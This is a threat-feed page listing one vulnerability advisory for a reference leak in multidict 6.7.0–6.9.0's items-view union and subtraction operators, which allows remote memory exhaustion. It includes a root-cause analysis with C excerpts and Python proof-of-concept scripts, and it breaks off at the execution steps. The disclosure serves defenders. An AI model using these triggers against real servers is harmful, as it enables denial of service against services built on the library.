Threats tagged 'brew-otterdog-cve-2026-104874'
1 threat
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 5.3 | EPSS 0.4% | Medium5.3EPSS 0.4%GCVE Database ## Description A reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed. --- ## Root Cause `_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`: ```c // views.h:565 — or2_impl first parse loop while ((st = PyIter_NextItem(iter, &arg)) > 0) { int tmp = _multidict_itemsview_parse_item( self, arg, &identity, NULL, &value); // identity + value: new refs if (tmp < 0) goto fail; else if (tmp > 0) { if (_set_add(tmp_set, identity, value) < 0) goto fail; } Py_CLEAR(arg); // :575 clears arg ONLY } ``` `_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission. This is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`. `views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases. --- ## Reproduction Environment | Item | Value | |------|-------| | **Runtime** | CPython 3.14.6 | | **multidict** | 6.9.0 (PyPI binary wheel, C extension) | | **OS** | macOS (darwin 25.6.0, arm64) | --- ## Proof of Concept ### POC Source Code #### poc_refcount.py — leak proof with intersection control ```python import sys, gc from multidict import CIMultiDict def probe(name, run_op): d = CIMultiDict(); d["seed"] = "x" value = object() # unique sentinel N = 100000 operand = [("k%d" % i, value) for i in range(N)] gc.collect(); before = sys.getrefcount(value) run_op(d, operand) gc.collect(); after = sys.getrefcount(value) print(f"[{name}] leaked strong refs = {after - before}") probe("or2 operand | items", lambda d, o: o | d.items()) # reflected union probe("sub1 items - operand", lambda d, o: d.items() - o) # subtraction probe("and2 items & operand", lambda d, o: d.items() & o) # CONTROL: clears, expect 0 ``` #### poc_dispatch.py — maps which paths leak ```python import sys, gc from multidict import CIMultiDict def probe(name, fn): d = CIMultiDict(); d["seed"] = "x" v = object(); N = 50000 operand = [("k%d" % i, v) for i in range(N)] gc.collect(); before = sys.getrefcount(v) fn(d, operand); gc.collect(); after = sys.getrefcount(v) print(f"{name:35s} leaked={after - before}") probe("operand | d.items() (or2)", lambda d, o: o | d.items()) probe("d.items() | operand (or1)", lambda d, o: d.items() | o) probe("d.items() - operand (sub1)", lambda d, o: d.items() - o) probe("operand - d.items() (rsub)", lambda d, o: set(o) - d.items()) probe("d.items() & operand (and)", lambda d, o: d.items() & o) ``` #### poc_rss.py — availability consequence ```python import sys, gc, resource from multidict import CIMultiDict def rss_mb(): r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss return r / (1024 * 1024) if sys.platform == "darwin" else r / 1024 d = CIMultiDict(); d["seed"] = "x" gc.collect(); print(f"start RSS = {rss_mb():.1f} MB") for i in range(200): operand = [(f"k{i}_{j}", f"v{i}_{j}") for j in range(50000)] _ = operand | d.items() del operand gc.collect() # prove GC cannot reclaim the leak if (i + 1) % 40 == 0: print(f"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB") ``` ### Execution Steps 1. `python3 -m venv venv` (CP | GCVE Database |
Page 1 of 1